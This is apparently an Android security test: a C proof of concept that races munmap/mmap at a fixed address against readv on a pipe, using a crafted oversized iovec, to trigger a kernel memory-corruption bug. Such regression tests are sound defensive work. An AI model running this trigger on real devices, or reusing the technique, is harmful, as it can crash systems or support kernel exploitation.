/**
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <unistd.h>
#include "../includes/common.h"

#define BUFS 256
#define IOV_LEN 16
#define MAGIC 7

int fd[2];
struct iovec *iovs = NULL;

void *func_evil(void *data) {
  const size_t page_size = getpagesize();
  munmap((void *)(0x45678000), page_size);
  mmap((void *)(0x45678000), page_size, PROT_READ | PROT_WRITE,
       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  return data;
}

void *func_readv(void *data) {
  readv(fd[0], iovs, BUFS);
  return data;
}

int main() {
  const size_t page_size = getpagesize();
  int ret = -1, i;
  void *bufs[BUFS];
  time_t test_started = start_timer();
  pthread_t thr_evil, thr_readv;

  if (pipe(fd) < 0) {
    goto __out;
  }
  fcntl(fd[0], F_SETFL, O_NONBLOCK);
  fcntl(fd[1], F_SETFL, O_NONBLOCK);

  iovs = (struct iovec *)malloc(sizeof(bufs) / sizeof(bufs[0]) *
                                sizeof(struct iovec));
  if (iovs == NULL) {
    goto __close_pipe;
  }

  bufs[MAGIC] = mmap((void *)(0x45678000), page_size, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  if (bufs[MAGIC] == MAP_FAILED) {
    goto __close_pipe;
  }

  for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) {
    if (i == MAGIC) continue;
    bufs[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                   MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (bufs[i] == MAP_FAILED) {
      goto __free_bufs;
    }

    iovs[i].iov_base = bufs[i];
    iovs[i].iov_len = IOV_LEN;
  }

  iovs[MAGIC - 1].iov_len = IOV_LEN * 10;
  iovs[MAGIC].iov_base = bufs[MAGIC];
  iovs[MAGIC].iov_len = IOV_LEN;

  i = 0;

  while (timer_active(test_started)) {
    write(fd[1], bufs[0], page_size);

    pthread_create(&thr_evil, NULL, func_evil, NULL);
    pthread_create(&thr_readv, NULL, func_readv, NULL);

    pthread_join(thr_evil, NULL);
    pthread_join(thr_readv, NULL);
  }

__free_bufs:
  for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) {
    if (bufs[i]) munmap(bufs[i], page_size);
  }

__close_pipe:
  close(fd[0]);
  close(fd[1]);

__out:
  return ret;

  return 0;
}